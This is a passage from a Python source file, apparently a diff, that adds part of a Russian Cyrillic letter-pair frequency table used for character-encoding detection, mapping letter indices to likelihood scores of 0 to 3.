'б' + 10: 0, # 'в' + 19: 0, # 'г' + 13: 0, # 'д' + 2: 0, # 'е' + 24: 0, # 'ж' + 20: 0, # 'з' + 4: 0, # 'и' + 23: 0, # 'й' + 11: 0, # 'к' + 8: 0, # 'л' + 12: 0, # 'м' + 5: 0, # 'н' + 1: 0, # 'о' + 15: 0, # 'п' + 9: 0, # 'р' + 7: 0, # 'с' + 6: 0, # 'т' + 14: 0, # 'у' + 39: 0, # 'ф' + 26: 0, # 'х' + 28: 0, # 'ц' + 22: 0, # 'ч' + 25: 0, # 'ш' + 29: 0, # 'щ' + 54: 0, # 'ъ' + 18: 0, # 'ы' + 17: 0, # 'ь' + 30: 0, # 'э' + 27: 0, # 'ю' + 16: 0, # 'я' + }, + 61: { # 'Ь' + 37: 0, # 'А' + 44: 1, # 'Б' + 33: 1, # 'В' + 46: 0, # 'Г' + 41: 1, # 'Д' + 48: 1, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 1, # 'И' + 60: 0, # 'Й' + 36: 1, # 'К' + 49: 0, # 'Л' + 38: 1, # 'М' + 31: 1, # 'Н' + 34: 1, # 'О' + 35: 0, # 'П' + 45: 0, # 'Р' + 32: 1, # 'С' + 40: 0, # 'Т' + 52: 0, # 'У' + 53: 1, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 1, # 'Ш' + 63: 0, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 1, # 'Ю' + 43: 1, # 'Я' + 3: 0, # 'а' + 21: 0, # 'б' + 10: 0, # 'в' + 19: 0, # 'г' + 13: 0, # 'д' + 2: 0, # 'е' + 24: 0, # 'ж' + 20: 0, # 'з' + 4: 0, # 'и' + 23: 0, # 'й' + 11: 0, # 'к' + 8: 0, # 'л' + 12: 0, # 'м' + 5: 0, # 'н' + 1: 0, # 'о' + 15: 0, # 'п' + 9: 0, # 'р' + 7: 0, # 'с' + 6: 0, # 'т' + 14: 0, # 'у' + 39: 0, # 'ф' + 26: 0, # 'х' + 28: 0, # 'ц' + 22: 0, # 'ч' + 25: 0, # 'ш' + 29: 0, # 'щ' + 54: 0, # 'ъ' + 18: 0, # 'ы' + 17: 0, # 'ь' + 30: 0, # 'э' + 27: 0, # 'ю' + 16: 0, # 'я' + }, + 47: { # 'Э' + 37: 0, # 'А' + 44: 0, # 'Б' + 33: 1, # 'В' + 46: 0, # 'Г' + 41: 1, # 'Д' + 48: 0, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 0, # 'И' + 60: 1, # 'Й' + 36: 1, # 'К' + 49: 1, # 'Л' + 38: 1, # 'М' + 31: 1, # 'Н' + 34: 0, # 'О' + 35: 1, # 'П' + 45: 1, # 'Р' + 32: 1, # 'С' + 40: 1, # 'Т' + 52: 0, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 0, # 'Я' + 3: 1, # 'а' + 21: 1, # 'б' + 10: 2, # 'в' + 19: 1, # 'г' + 13: 2, # 'д' + 2: 0, # 'е' + 24: 1, # 'ж' + 20: 0, # 'з' + 4: 0, # 'и' + 23: 2, # 'й' + 11: 2, # 'к' + 8: 2, # 'л' + 12: 2, # 'м' + 5: 2, # 'н' + 1: 0, # 'о' + 15: 1, # 'п' + 9: 2, # 'р' + 7: 1, # 'с' + 6: 3, # 'т' + 14: 1, # 'у' + 39: 1, # 'ф' + 26: 1, # 'х' + 28: 0, # 'ц' + 22: 0, # 'ч' + 25: 1, # 'ш' + 29: 0, # 'щ' + 54: 0, # 'ъ' + 18: 0, # 'ы' + 17: 0, # 'ь' + 30: 0, # 'э' + 27: 0, # 'ю' + 16: 0, # 'я' + }, + 59: { # 'Ю' + 37: 1, # 'А' + 44: 1, # 'Б' + 33: 0, # 'В' + 46: 0, # 'Г' + 41: 1, # 'Д' + 48: 0, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 0, # 'И' + 60: 0, # 'Й' + 36: 0, # 'К' + 49: 0, # 'Л' + 38: 0, # 'М' + 31: 1, # 'Н' + 34: 0, # 'О' + 35: 0, # 'П' + 45: 1, # 'Р' + 32: 0, # 'С' + 40: 1, # 'Т' + 52: 0, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 1, # 'Ч' + 57: 0, # 'Ш' + 63: 1, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 0, # 'Я' + 3: 0, # 'а' + 21: 1, # 'б' + 10: 0, # 'в' + 19: 1, # 'г' + 13: 1, # 'д' + 2: 0, # 'е' + 24: 1, # 'ж' + 20: 0, # 'з' + 4: 0, # 'и' + 23: 0, # 'й' + 11: 1, # 'к' + 8: 2, # 'л' + 12: 1, # 'м' + 5: 2, # 'н' + 1: 0, # 'о' + 15: 1, # 'п' + 9: 1, # 'р' + 7: 1, # 'с' + 6: 0, # 'т' + 14: 0, # 'у' + 39: 0, # 'ф' + 26: 1, # 'х' + 28: 0, # 'ц' + 22: 0, # 'ч' + 25: 0, # 'ш' + 29: 0, # 'щ' + 54: 0, # 'ъ' + 18: 0, # 'ы' + 17: 0, # 'ь' + 30: 0, # 'э' + 27: 0, # 'ю' + 16: 0, # 'я' + }, + 43: { # 'Я' + 37: 0, # 'А' + 44: 0, # 'Б' + 33: 1, # 'В' + 46: 1, # 'Г' + 41: 0, # 'Д' + 48: 1, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 1, # 'И' + 60: 0, # 'Й' + 36: 1, # 'К' + 49: 0, # 'Л' + 38: 0, # 'М' + 31: 1, # 'Н' + 34: 0, # 'О' + 35: 0, # 'П' + 45: 0, # 'Р' + 32: 1, # 'С' + 40: 1, # 'Т' + 52: 0, # 'У' + 53: 0, # 'Ф' + 55: 1, # 'Х' + 58: 0, # 'Ц' + 50: 1, # 'Ч' + 57: 0, # 'Ш' + 63: 1, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 1, # 'Ю' + 43: 1, # 'Я' + 3: 0, # 'а' + 21: 1, # 'б' + 10: 1, # 'в' + 19: 1, # 'г' + 13: 1, # 'д' + 2: 0, # 'е' + 24: 0, # 'ж' + 20: 1, # 'з' + 4: 0, # 'и' + 23: 1, # 'й' + 11: 1, # 'к' + 8: 1, # 'л' + 12: 1, # 'м' + 5: 2, # 'н' + 1: 0, # 'о' + 15: 1, # 'п' + 9: 1, # 'р' + 7: 1, # 'с' + 6: 0, # 'т' + 14: 0, # 'у' + 39: 0, # 'ф' + 26: 1, # 'х' + 28: 0, # 'ц' + 22: 0, # 'ч' + 25: 1, # 'ш' + 29: 1, # 'щ' + 54: 0, # 'ъ' + 18: 0, # 'ы' + 17: 0, # 'ь' + 30: 0, # 'э' + 27: 0, # 'ю' + 16: 0, # 'я' + }, + 3: { # 'а' + 37: 0, # 'А' + 44: 0, # 'Б' + 33: 0, # 'В' + 46: 0, # 'Г' + 41: 0, # 'Д' + 48: 0, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 1, # 'И' + 60: 0, # 'Й' + 36: 0, # 'К' + 49: 0, # 'Л' + 38: 0, # 'М' + 31: 1, # 'Н' + 34: 0, # 'О' + 35: 0, # 'П' + 45: 0, # 'Р' + 32: 0, # 'С' + 40: 0, # 'Т' + 52: 0, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 0, # 'Я' + 3: 2, # 'а' + 21: 3, # 'б' + 10: 3, # 'в' + 19: 3, # 'г' + 13: 3, # 'д' + 2: 3, # 'е' + 24: 3, # 'ж' + 20: 3, # 'з' + 4: 3, # 'и' + 23: 3, # 'й' + 11: 3, # 'к' + 8: 3, # 'л' + 12: 3, # 'м' + 5: 3, # 'н' + 1: 2, # 'о' + 15: 3, # 'п' + 9: 3, # 'р' + 7: 3, # 'с' + 6: 3, # 'т' + 14: 3, # 'у' + 39: 2, # 'ф' + 26: 3, # 'х' + 28: 3, # 'ц' + 22: 3, # 'ч' + 25: 3, # 'ш' + 29: 3, # 'щ' + 54: 0, # 'ъ' + 18: 0, # 'ы' + 17: 0, # 'ь' + 30: 2, # 'э' + 27: 3, # 'ю' + 16: 3, # 'я' + }, + 21: { # 'б' + 37: 0, # 'А' + 44: 0, # 'Б' + 33: 0, # 'В' + 46: 0, # 'Г' + 41: 0, # 'Д' + 48: 0, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 0, # 'И' + 60: 0, # 'Й' + 36: 1, # 'К' + 49: 0, # 'Л' + 38: 0, # 'М' + 31: 0, # 'Н' + 34: 0, # 'О' + 35: 0, # 'П' + 45: 0, # 'Р' + 32: 0, # 'С' + 40: 0, # 'Т' + 52: 0, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 0, # 'Я' + 3: 3, # 'а' + 21: 2, # 'б' + 10: 2, # 'в' + 19: 1, # 'г' + 13: 2, # 'д' + 2: 3, # 'е' + 24: 2, # 'ж' + 20: 1, # 'з' + 4: 3, # 'и' + 23: 0, # 'й' + 11: 2, # 'к' + 8: 3, # 'л' + 12: 2, # 'м' + 5: 3, # 'н' + 1: 3, # 'о' + 15: 1, # 'п' + 9: 3, # 'р' + 7: 3, # 'с' + 6: 2, # 'т' + 14: 3, # 'у' + 39: 0, # 'ф' + 26: 2, # 'х' + 28: 1, # 'ц' + 22: 1, # 'ч' + 25: 2, # 'ш' + 29: 3, # 'щ' + 54: 2, # 'ъ' + 18: 3, # 'ы' + 17: 2, # 'ь' + 30: 1, # 'э' + 27: 2, # 'ю' + 16: 3, # 'я' + }, + 10: { # 'в' + 37: 0, # 'А' + 44: 0, # 'Б' + 33: 0, # 'В' + 46: 0, # 'Г' + 41: 0, # 'Д' + 48: 0, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 0, # 'И' + 60: 0, # 'Й' + 36: 0, # 'К' + 49: 0, # 'Л' + 38: 0, # 'М' + 31: 0, # 'Н' + 34: 0, # 'О' + 35: 0, # 'П' + 45: 0, # 'Р' + 32: 0, # 'С' + 40: 0, # 'Т' + 52: 0, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 0, # 'Я' + 3: 3, # 'а' + 21: 2, # 'б' + 10: 2, # 'в' + 19: 2, # 'г' + 13: 3, # 'д' + 2: 3, # 'е' + 24: 1, # 'ж' + 20: 3, # 'з' + 4: 3, # 'и' + 23: 0, # 'й' + 11: 3, # 'к' + 8: 3, # 'л' + 12: 2, # 'м' + 5: 3, # 'н' + 1: 3, # 'о' + 15: 3, # 'п' + 9: 3, # 'р' + 7: 3, # 'с' + 6: 3, # 'т' + 14: 3, # 'у' + 39: 1, # 'ф' + 26: 2, # 'х' + 28: 2, # 'ц' + 22: 2, # 'ч' + 25: 3, # 'ш' + 29: 2, # 'щ' + 54: 2, # 'ъ' + 18: 3, # 'ы' + 17: 3, # 'ь' + 30: 1, # 'э' + 27: 1, # 'ю' + 16: 3, # 'я' + }, + 19: { # 'г' + 37: 0, # 'А' + 44: 0, # 'Б' + 33: 0, # 'В' + 46: 0, # 'Г' + 41: 0, # 'Д' + 48: 0, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 0, # 'И' + 60: 0, # 'Й' + 36: 0, # 'К' + 49: 0, # 'Л' + 38: 0, # 'М' + 31: 0, # 'Н' + 34: 0, # 'О' + 35: 0, # 'П' + 45: 0, # 'Р' + 32: 0, # 'С' + 40: 0, # 'Т' + 52: 0, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 0, # 'Я' + 3: 3, # 'а' + 21: 1, # 'б' + 10: 2, # 'в' + 19: 1, # 'г' + 13: 3, # 'д' + 2: 3, # 'е' + 24: 0, # 'ж' + 20: 1, # 'з' + 4: 3, # 'и' + 23: 0, # 'й' + 11: 2, # 'к' + 8: 3, # 'л' + 12: 2, # 'м' + 5: 3, # 'н' + 1: 3, # 'о' + 15: 0, # 'п' + 9: 3, # 'р' + 7: 2, # 'с' + 6: 2, # 'т' + 14: 3, # 'у' + 39: 1, # 'ф' + 26: 1, # 'х' + 28: 1, # 'ц' + 22: 2, # 'ч' + 25: 1, # 'ш' + 29: 0, # 'щ' + 54: 0, # 'ъ' + 18: 1, # 'ы' + 17: 1, # 'ь' + 30: 1, # 'э' + 27: 1, # 'ю' + 16: 0, # 'я' + }, + 13: { # 'д' + 37: 0, # 'А' + 44: 0, # 'Б' + 33: 0, # 'В' + 46: 0, # 'Г' + 41: 0, # 'Д' + 48: 0, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 0, # 'И' + 60: 0, # 'Й' + 36: 0, # 'К' + 49: 0, # 'Л' + 38: 0, # 'М' + 31: 0, # 'Н' + 34: 0, # 'О' + 35: 0, # 'П' + 45: 0, # 'Р' + 32: 0, # 'С' + 40: 0, # 'Т' + 52: 0, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 0, # 'Я' + 3: 3, # 'а' + 21: 2, # 'б' + 10: 3, # 'в' + 19: 2, # 'г' + 13: 2, # 'д' + 2: 3, # 'е' + 24: 2, # 'ж' + 20: 2, # 'з' + 4: 3, # 'и' + 23: 0, # 'й' + 11: 3, # 'к' + 8: 3, # 'л' + 12: 2, # 'м' + 5: 3, # 'н' + 1: 3, # 'о' + 15: 2, # 'п' + 9: 3, # 'р' + 7: 3, # 'с' + 6: 3, # 'т' + 14: 3, # 'у' + 39: 1, # 'ф' + 26: 2, # 'х' + 28: 3, # 'ц' + 22: 2, # 'ч' + 25: 2, # 'ш' + 29: 1, # 'щ' + 54: 2, # 'ъ' + 18: 3, # 'ы' + 17: 3, # 'ь' + 30: 1, # 'э' + 27: 2, # 'ю' + 16: 3, # 'я' + }, + 2: { # 'е' + 37: 0, # 'А' + 44: 0, # 'Б' + 33: 0, # 'В' + 46: 0, # 'Г' + 41: 0, # 'Д' + 48: 0, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 0, # 'И' + 60: 0, # 'Й' + 36: 0, # 'К' + 49: 0, # 'Л' + 38: 0, # 'М' + 31: 0, # 'Н' + 34: 0, # 'О' + 35: 0, # 'П' + 45: 0, # 'Р' + 32: 0, # 'С' + 40: 0, # 'Т' + 52: 0, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 0, # 'Я' + 3: 2, # 'а' + 21: 3, # 'б' + 10: 3, # 'в' + 19: 3, # 'г' + 13: 3, # 'д' + 2: 3, # 'е' + 24: 3, # 'ж' + 20: 3, # 'з' + 4: 2, # 'и' + 23: 3, # 'й' + 11: 3, # 'к' + 8: 3, # 'л' + 12: 3, # 'м' + 5: 3, # 'н' + 1: 3, # 'о' + 15: 3, # 'п' + 9: 3, # 'р' + 7: 3, # 'с' + 6: 3, # 'т' + 14: 2, # 'у' + 39: 2, # 'ф' + 26: 3, # 'х' + 28: 3, # 'ц' + 22: 3, # 'ч' + 25: 3, # 'ш' + 29: 3, # 'щ' + 54: 0, # 'ъ' + 18: 0, # 'ы' + 17: 0, # 'ь' + 30: 1, # 'э' + 27: 2, # 'ю' + 16: 3, # 'я' + }, + 24: { # 'ж' + 37: 0, # 'А' + 44: 0, # 'Б' + 33: 0, # 'В' + 46: 0, # 'Г' + 41: 0, # 'Д' + 48: 0, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 0, # 'И' + 60: 0, # 'Й' + 36: 0, # 'К' + 49: 0, # 'Л' + 38: 0, # 'М' + 31: 0, # 'Н' + 34: 0, # 'О' + 35: 0, # 'П' + 45: 0, # 'Р' + 32: 0, # 'С' + 40: 0, # 'Т' + 52: 0, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 0, # 'Я' + 3: 3, # 'а' + 21: 2, # 'б' + 10: 1, # 'в' + 19: 2, # 'г' + 13: 3, # 'д' + 2: 3, # 'е' + 24: 2, # 'ж' + 20: 1, # 'з' + 4: 3, # 'и' + 23: 0, # 'й' + 11: 2, # 'к' + 8: 2, # 'л' + 12: 1, # 'м' + 5: 3, # 'н' + 1: 2, # 'о' + 15: 1, # 'п' + 9: 2, # 'р' + 7: 2, # 'с' + 6: 1, # 'т' + 14: 3, # 'у' + 39: 1, # 'ф' + 26: 0, # 'х' + 28: 1, # 'ц' + 22: 2, # 'ч' + 25: 0, # 'ш' + 29: 0, # 'щ' + 54: 0, # 'ъ' + 18: 1, # 'ы' + 17: 2, # 'ь' + 30: 1, # 'э' + 27: 1, # 'ю' + 16: 1, # 'я' + }, + 20: { # 'з' + 37: 0, # 'А' + 44: 0, # 'Б' + 33: 0, # 'В' + 46: 0, # 'Г' + 41: 0, # 'Д' + 48: 0, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 0, # 'И' + 60: 0, # 'Й' + 36: 0, # 'К' + 49: 0, # 'Л' + 38: 0, # 'М' + 31: 0, # 'Н' + 34: 0, # 'О' + 35: 0, # 'П' + 45: 0, # 'Р' + 32: 0, # 'С' + 40: 0, # 'Т' + 52: 0, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 0, # 'Я' + 3: 3, # 'а' + 21: 3, # 'б' + 10: 3, # 'в' + 19: 3, # 'г' + 13: 3, # 'д' + 2: 3, # 'е' + 24: 2, # 'ж' + 20: 2, # 'з' + 4: 3, # 'и' + 23: 0, # 'й' + 11: 3, # 'к' + 8: 3, # 'л' + 12: 3, # 'м' + 5: 3, # 'н' + 1: 3, # 'о' + 15: 0, # 'п' + 9: 3, # 'р' + 7: 2, # 'с' + 6: 2, # 'т' + 14: 3, # 'у' + 39: 0, # 'ф' + 26: 0, # 'х' + 28: 1, # 'ц' + 22: 2, # 'ч' + 25: 1, # 'ш' + 29: 0, # 'щ' + 54: 2, # 'ъ' + 18: 3, # 'ы' + 17: 2, # 'ь' + 30: 1, # 'э' + 27: 1, # 'ю' + 16: 3, # 'я' + }, + 4: { # 'и' + 37: 1, # 'А' + 44: 0, # 'Б' + 33: 0, # 'В' + 46: 0, # 'Г' + 41: 0, # 'Д' + 48: 0, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 0, # 'И' + 60: 0, # 'Й' + 36: 0, # 'К' + 49: 0, # 'Л' + 38: 0, # 'М' + 31: 1, # 'Н' + 34: 0, # 'О' + 35: 0, # 'П' + 45: 0, # 'Р' + 32: 0, # 'С' + 40: 0, # 'Т' + 52: 0, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 0, # 'Я' + 3: 3, # 'а' + 21: 3, # 'б' + 10: 3, # 'в' + 19: 3, # 'г' + 13: 3, # 'д' + 2: 3, # 'е' + 24: 3, # 'ж' + 20: 3, # 'з' + 4: 3, # 'и' + 23: 3, # 'й' + 11: 3, # 'к' + 8: 3, # 'л' + 12: 3, # 'м' + 5: 3, # 'н' + 1: 3, # 'о' + 15: 3, # 'п' + 9: 3, # 'р' + 7: 3, # 'с' + 6: 3, # 'т' + 14: 2, # 'у' + 39: 2, # 'ф' + 26: 3, # 'х' + 28: 3, # 'ц' + 22: 3, # 'ч' + 25: 3, # 'ш' + 29: 3, # 'щ' + 54: 0, # 'ъ' + 18: 0, # 'ы' + 17: 0, # 'ь' + 30: 2, # 'э' + 27: 3, # 'ю' + 16: 3, # 'я' + }, + 23: { # 'й' + 37: 0, # 'А' + 44: 0, # 'Б' + 33: 0, # 'В' + 46: 0, # 'Г' + 41: 0, # 'Д' + 48: 0, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 0, # 'И' + 60: 0, # 'Й' + 36: 0, # 'К' + 49: 0, # 'Л' + 38: 0, # 'М' + 31: 0, # 'Н' + 34: 0, # 'О' + 35: 0, # 'П' + 45: 0, # 'Р' + 32: 0, # 'С' + 40: 0, # 'Т' + 52: 0, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 0, # 'Я' + 3: 1, # 'а' + 21: 1, # 'б' + 10: 1, # 'в' + 19: 2, # 'г' + 13: 3, # 'д' + 2: 2, # 'е' + 24: 0, # 'ж' + 20: 2, # 'з' + 4: 1, # 'и' + 23: 0, # 'й' + 11: 2, # 'к' + 8: 2, # 'л' + 12: 2, # 'м' + 5: 3, # 'н' + 1: 2, # 'о' + 15: 1, # 'п' + 9: 2, # 'р' + 7: 3, # 'с' + 6: 3, # 'т' + 14: 1, # 'у' + 39: 2, # 'ф' + 26: 1, # 'х' + 28: 2, # 'ц' + 22: 3, # 'ч' + 25: 2, # 'ш' + 29: 1, # 'щ' + 54: 0, # 'ъ' + 18: 0, # 'ы' + 17: 0, # 'ь' + 30: 1, # 'э' + 27: 1, # 'ю' + 16: 2, # 'я' + }, + 11: { # 'к' + 37: 0, # 'А' + 44: 0, # 'Б' + 33: 0, # 'В' + 46: 0, # 'Г' + 41: 0, # 'Д' + 48: 0, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 0, # 'И' + 60: 0, # 'Й' + 36: 0, # 'К' + 49: 0, # 'Л' + 38: 0, # 'М' + 31: 0, # 'Н' + 34: 0, # 'О' + 35: 0, # 'П' + 45: 0, # 'Р' + 32: 0, # 'С' + 40: 0, # 'Т' + 52: 0, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 0, # 'Я' + 3: 3, # 'а' + 21: 1, # 'б' + 10: 3, # 'в' + 19: 1, # 'г' + 13: 1, # 'д' + 2: 3, # 'е' + 24: 2, # 'ж' + 20: 2, # 'з' + 4: 3, # 'и' + 23: 0, # 'й' + 11: 2, # 'к' + 8: 3, # 'л' + 12: 1, # 'м' + 5: 3, # 'н' + 1: 3, # 'о' + 15: 0, # 'п' + 9: 3, # 'р' + 7: 3, # 'с' + 6: 3, # 'т' + 14: 3, # 'у' + 39: 1, # 'ф' + 26: 2, # 'х' + 28: 2, # 'ц' + 22: 1, # 'ч' + 25: 2, # 'ш' + 29: 0, # 'щ' + 54: 0, # 'ъ' + 18: 1, # 'ы' + 17: 1, # 'ь' + 30: 1, # 'э' + 27: 1, # 'ю' + 16: 1, # 'я' + }, + 8: { # 'л' + 37: 0, # 'А' + 44: 0, # 'Б' + 33: 0, # 'В' + 46: 0, # 'Г' + 41: 0, # 'Д' + 48: 0, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 0, # 'И' + 60: 0, # 'Й' + 36: 0, # 'К' + 49: 0, # 'Л' + 38: 0, # 'М' + 31: 0, # 'Н' + 34: 0, # 'О' + 35: 0, # 'П' + 45: 0, # 'Р' + 32: 0, # 'С' + 40: 0, # 'Т' + 52: 0, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 0, # 'Я' + 3: 3, # 'а' + 21: 2, # 'б' + 10: 2, # 'в' + 19: 3, # 'г' + 13: 2, # 'д' + 2: 3, # 'е' + 24: 3, # 'ж' + 20: 2, # 'з' + 4: 3, # 'и' + 23: 0, # 'й' + 11: 3, # 'к' + 8: 3, # 'л' + 12: 2, # 'м' + 5: 3, # 'н' + 1: 3, # 'о' + 15: 2, # 'п' + 9: 1, # 'р' + 7: 3, # 'с' + 6: 2, # 'т' + 14: 3, # 'у' + 39: 2, # 'ф' + 26: 2, # 'х' + 28: 1, # 'ц' + 22: 3, # 'ч' + 25: 2, # 'ш' + 29: 1, # 'щ' + 54: 0, # 'ъ' + 18: 3, # 'ы' + 17: 3, # 'ь' + 30: 1, # 'э' + 27: 3, # 'ю' + 16: 3, # 'я' + }, + 12: { # 'м' + 37: 0, # 'А' + 44: 0, # 'Б' + 33: 0, # 'В' + 46: 0, # 'Г' + 41: 0, # 'Д' + 48: 0, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 0, # 'И' + 60: 0, # 'Й' + 36: 0, # 'К' + 49: 0, # 'Л' + 38: 0, # 'М' + 31: 0, # 'Н' + 34: 0, # 'О' + 35: 0, # 'П' + 45: 0, # 'Р' + 32: 0, # 'С' + 40: 0, # 'Т' + 52: 0, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 0, # 'Я' + 3: 3, # 'а' + 21: 2, # 'б' + 10: 2, # 'в' + 19: 2, # 'г' + 13: 1, # 'д' + 2: 3, # 'е' + 24: 1, # 'ж' + 20: 1, # 'з' + 4: 3, # 'и' + 23: 0, # 'й' + 11: 2, # 'к' + 8: 3, # 'л' + 12: 2, # 'м' + 5: 3, # 'н' + 1: 3, # 'о' + 15: 2, # 'п' + 9: 2, # 'р' + 7: 3, # 'с' + 6: 2, # 'т' + 14: 3, # 'у' + 39: 2, # 'ф' + 26: 2, # 'х' + 28: 2, # 'ц' + 22: 2, # 'ч' + 25: 1, # 'ш' + 29: 1, # 'щ' + 54: 0, # 'ъ' + 18: 3, # 'ы' + 17: 2, # 'ь' + 30: 2, # 'э' + 27: 1, # 'ю' + 16: 3, # 'я' + }, + 5: { # 'н' + 37: 0, # 'А' + 44: 0, # 'Б' + 33: 0, # 'В' + 46: 0, # 'Г' + 41: 0, # 'Д' + 48: 0, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 0, # 'И' + 60: 0, # 'Й' + 36: 0, # 'К' + 49: 0, # 'Л' + 38: 0, # 'М' + 31: 0, # 'Н' + 34: 0, # 'О' + 35: 0, # 'П' + 45: 0, # 'Р' + 32: 0, # 'С' + 40: 0, # 'Т' + 52: 0, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 0, # 'Я' + 3: 3, # 'а' + 21: 2, # 'б' + 10: 2, # 'в' + 19: 3, # 'г' + 13: 3, # 'д' + 2: 3, # 'е' + 24: 2, # 'ж' + 20: 2, # 'з' + 4: 3, # 'и' + 23: 0, # 'й' + 11: 3, # 'к' + 8: 2, # 'л' + 12: 1, # 'м' + 5: 3, # 'н' + 1: 3, # 'о' + 15: 1, # 'п' + 9: 2, # 'р' + 7: 3, # 'с' + 6: 3, # 'т' + 14: 3, # 'у' + 39: 2, # 'ф' + 26: 2, # 'х' + 28: 3, # 'ц' + 22: 3, # 'ч' + 25: 2, # 'ш' + 29: 2, # 'щ' + 54: 1, # 'ъ' + 18: 3, # 'ы' + 17: 3, # 'ь' + 30: 1, # 'э' + 27: 3, # 'ю' + 16: 3, # 'я' + }, + 1: { # 'о' + 37: 0, # 'А' + 44: 0, # 'Б' 